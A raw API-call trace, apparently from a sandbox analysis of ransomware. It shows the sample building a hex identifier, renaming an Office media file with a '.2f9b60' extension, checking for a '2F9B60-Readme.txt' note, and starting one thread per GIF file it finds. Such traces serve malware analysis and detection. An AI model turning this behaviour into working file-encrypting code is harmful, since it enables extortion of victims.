RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef50) returned 1 [0223.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0223.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef50 [0223.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0223.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0223.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0223.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a10) returned 1 [0223.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad720 [0223.629] sprintf (in: _Dest=0x431ad720, _Format="%c%c" | out: _Dest="44") returned 2 [0223.629] sprintf (in: _Dest=0x431ad722, _Format="%c%c" | out: _Dest="04") returned 2 [0223.629] sprintf (in: _Dest=0x431ad724, _Format="%c%c" | out: _Dest="31") returned 2 [0223.629] sprintf (in: _Dest=0x431ad726, _Format="%c%c" | out: _Dest="d9") returned 2 [0223.629] sprintf (in: _Dest=0x431ad728, _Format="%c%c" | out: _Dest="ce") returned 2 [0223.629] sprintf (in: _Dest=0x431ad72a, _Format="%c%c" | out: _Dest="9b") returned 2 [0223.629] sprintf (in: _Dest=0x431ad72c, _Format="%c%c" | out: _Dest="a9") returned 2 [0223.629] sprintf (in: _Dest=0x431ad72e, _Format="%c%c" | out: _Dest="de") returned 2 [0223.629] sprintf (in: _Dest=0x431ad730, _Format="%c%c" | out: _Dest="c7") returned 2 [0223.629] sprintf (in: _Dest=0x431ad732, _Format="%c%c" | out: _Dest="ad") returned 2 [0223.629] sprintf (in: _Dest=0x431ad734, _Format="%c%c" | out: _Dest="7a") returned 2 [0223.629] sprintf (in: _Dest=0x431ad736, _Format="%c%c" | out: _Dest="4d") returned 2 [0223.629] sprintf (in: _Dest=0x431ad738, _Format="%c%c" | out: _Dest="27") returned 2 [0223.629] sprintf (in: _Dest=0x431ad73a, _Format="%c%c" | out: _Dest="99") returned 2 [0223.629] sprintf (in: _Dest=0x431ad73c, _Format="%c%c" | out: _Dest="37") returned 2 [0223.629] sprintf (in: _Dest=0x431ad73e, _Format="%c%c" | out: _Dest="fb") returned 2 [0223.629] sprintf (in: _Dest=0x431ad740, _Format="%c%c" | out: _Dest="7b") returned 2 [0223.629] sprintf (in: _Dest=0x431ad742, _Format="%c%c" | out: _Dest="4d") returned 2 [0223.629] sprintf (in: _Dest=0x431ad744, _Format="%c%c" | out: _Dest="57") returned 2 [0223.629] sprintf (in: _Dest=0x431ad746, _Format="%c%c" | out: _Dest="33") returned 2 [0223.629] sprintf (in: _Dest=0x431ad748, _Format="%c%c" | out: _Dest="45") returned 2 [0223.629] sprintf (in: _Dest=0x431ad74a, _Format="%c%c" | out: _Dest="73") returned 2 [0223.629] sprintf (in: _Dest=0x431ad74c, _Format="%c%c" | out: _Dest="b7") returned 2 [0223.629] sprintf (in: _Dest=0x431ad74e, _Format="%c%c" | out: _Dest="fa") returned 2 [0223.630] RtlInitAnsiString (in: DestinationString=0x2923fc28, SourceString="440431d9ce9ba9dec7ad7a4d279937fb7b4d57334573b7fa" | out: DestinationString="440431d9ce9ba9dec7ad7a4d279937fb7b4d57334573b7fa") [0223.630] RtlAnsiStringToUnicodeString (in: DestinationString=0x2923fbf8, SourceString="440431d9ce9ba9dec7ad7a4d279937fb7b4d57334573b7fa", AllocateDestinationString=1 | out: DestinationString="440431d9ce9ba9dec7ad7a4d279937fb7b4d57334573b7fa") returned 0x0 [0223.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e9600 [0223.631] wcscat (in: _Dest=0x431cb120, _Source="440431d9ce9b" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\440431d9ce9b") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\440431d9ce9b" [0223.631] wcscat (in: _Dest=0x431cb120, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\440431d9ce9b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\440431d9ce9b.2f9b60" [0223.631] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\440431d9ce9b.2f9b60", NtPathName=0x2923fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\440431d9ce9b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x43111aa0 [0223.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43111aa0) returned 1 [0223.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b84a0) returned 1 [0223.787] NtQueryInformationFile (in: FileHandle=0x1910, IoStatusBlock=0x2923fc38, FileInformation=0x2923fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2923fc38, FileInformation=0x2923fc48) returned 0x0 [0223.787] NtSetInformationFile (FileHandle=0x1910, IoStatusBlock=0x2923fc38, FileInformation=0x2923fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb120) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e9600) returned 1 [0223.856] FlushFileBuffers (hFile=0x1910) returned 1 [0224.011] CloseHandle (hObject=0x1910) returned 1 [0224.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20508590 [0224.964] wcscpy (in: _Dest=0x20508590, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0224.964] wcscat (in: _Dest=0x20508590, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2F9B60-Readme.txt" [0224.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\2f9b60-readme.txt")) returned 0x20 [0224.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508590) returned 1 [0224.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4140) returned 1 [0224.965] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f8f500, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73f8f500, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10307_.GIF", cAlternateFileName="")) returned 1 [0224.965] wcscmp (_String1="BD10307_.GIF", _String2=".") returned 1 [0224.965] wcscmp (_String1="BD10307_.GIF", _String2="..") returned 1 [0224.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4140 [0224.965] wcscpy (in: _Dest=0x202a4140, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0224.965] wcscat (in: _Dest=0x202a4140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0224.965] wcscat (in: _Dest=0x202a4140, _Source="BD10307_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" [0227.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a90 [0227.095] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a2200, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x752a2200, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10308_.GIF", cAlternateFileName="")) returned 1 [0227.095] wcscmp (_String1="BD10308_.GIF", _String2=".") returned 1 [0227.095] wcscmp (_String1="BD10308_.GIF", _String2="..") returned 1 [0227.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a470 [0227.096] wcscpy (in: _Dest=0x1b86a470, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.096] wcscat (in: _Dest=0x1b86a470, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.096] wcscat (in: _Dest=0x1b86a470, _Source="BD10308_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" [0227.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2578 [0227.096] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a6c900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68a6c900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10358_.GIF", cAlternateFileName="")) returned 1 [0227.096] wcscmp (_String1="BD10358_.GIF", _String2=".") returned 1 [0227.096] wcscmp (_String1="BD10358_.GIF", _String2="..") returned 1 [0227.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b160 [0227.097] wcscpy (in: _Dest=0x1b86b160, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.097] wcscat (in: _Dest=0x1b86b160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.097] wcscat (in: _Dest=0x1b86b160, _Source="BD10358_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" [0227.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0227.098] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14516_.GIF", cAlternateFileName="")) returned 1 [0227.098] wcscmp (_String1="BD14516_.GIF", _String2=".") returned 1 [0227.098] wcscmp (_String1="BD14516_.GIF", _String2="..") returned 1 [0227.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ace0 [0227.098] wcscpy (in: _Dest=0x1b86ace0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.098] wcscat (in: _Dest=0x1b86ace0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.098] wcscat (in: _Dest=0x1b86ace0, _Source="BD14516_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" [0227.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ace0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd38 [0227.099] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14538_.GIF", cAlternateFileName="")) returned 1 [0227.099] wcscmp (_String1="BD14538_.GIF", _String2=".") returned 1 [0227.099] wcscmp (_String1="BD14538_.GIF", _String2="..") returned 1 [0227.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b310 [0227.099] wcscpy (in: _Dest=0x1b86b310, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.099] wcscat (in: _Dest=0x1b86b310, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.099] wcscat (in: _Dest=0x1b86b310, _Source="BD14538_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" [0227.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0227.099] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14539_.GIF", cAlternateFileName="")) returned 1 [0227.099] wcscmp (_String1="BD14539_.GIF", _String2=".") returned 1 [0227.099] wcscmp (_String1="BD14539_.GIF", _String2="..") returned 1 [0227.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86afb0 [0227.100] wcscpy (in: _Dest=0x1b86afb0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.100] wcscat (in: _Dest=0x1b86afb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.100] wcscat (in: _Dest=0x1b86afb0, _Source="BD14539_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" [0227.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86afb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e8 [0227.100] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14594_.GIF", cAlternateFileName="")) returned 1 [0227.100] wcscmp (_String1="BD14594_.GIF", _String2=".") returned 1 [0227.100] wcscmp (_String1="BD14594_.GIF", _String2="..") returned 1 [0227.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86af20 [0227.101] wcscpy (in: _Dest=0x1b86af20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.101] wcscat (in: _Dest=0x1b86af20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.101] wcscat (in: _Dest=0x1b86af20, _Source="BD14594_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" [0227.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86af20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe78 [0227.101] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14595_.GIF", cAlternateFileName="")) returned 1 [0227.101] wcscmp (_String1="BD14595_.GIF", _String2=".") returned 1 [0227.101] wcscmp (_String1="BD14595_.GIF", _String2="..") returned 1 [0227.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a2c0 [0227.101] wcscpy (in: _Dest=0x1b86a2c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.102] wcscat (in: _Dest=0x1b86a2c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.102] wcscat (in: _Dest=0x1b86a2c0, _Source="BD14595_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" [0227.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1064 [0227.102] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2ea600, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe2ea600, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14677_.GIF", cAlternateFileName="")) returned 1 [0227.102] wcscmp (_String1="BD14677_.GIF", _String2=".") returned 1 [0227.102] wcscmp (_String1="BD14677_.GIF", _String2="..") returned 1 [0227.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b670 [0227.102] wcscpy (in: _Dest=0x1b86b670, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.102] wcscat (in: _Dest=0x1b86b670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.103] wcscat (in: _Dest=0x1b86b670, _Source="BD14677_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" [0227.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1060 [0227.103] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14710_.GIF", cAlternateFileName="")) returned 1 [0227.103] wcscmp (_String1="BD14710_.GIF", _String2=".") returned 1 [0227.103] wcscmp (_String1="BD14710_.GIF", _String2="..") returned 1 [0227.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86baf0 [0227.103] wcscpy (in: _Dest=0x1b86baf0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.103] wcscat (in: _Dest=0x1b86baf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.103] wcscat (in: _Dest=0x1b86baf0, _Source="BD14710_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" [0227.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86baf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0227.104] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xa97, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14711_.GIF", cAlternateFileName="")) returned 1 [0227.104] wcscmp (_String1="BD14711_.GIF", _String2=".") returned 1 [0227.104] wcscmp (_String1="BD14711_.GIF", _String2="..") returned 1 [0227.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22090 [0227.104] wcscpy (in: _Dest=0x42c22090, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.104] wcscat (in: _Dest=0x42c22090, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.105] wcscat (in: _Dest=0x42c22090, _Source="BD14711_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" [0227.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b8 [0227.105] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14768_.GIF", cAlternateFileName="")) returned 1 [0227.105] wcscmp (_String1="BD14768_.GIF", _String2=".") 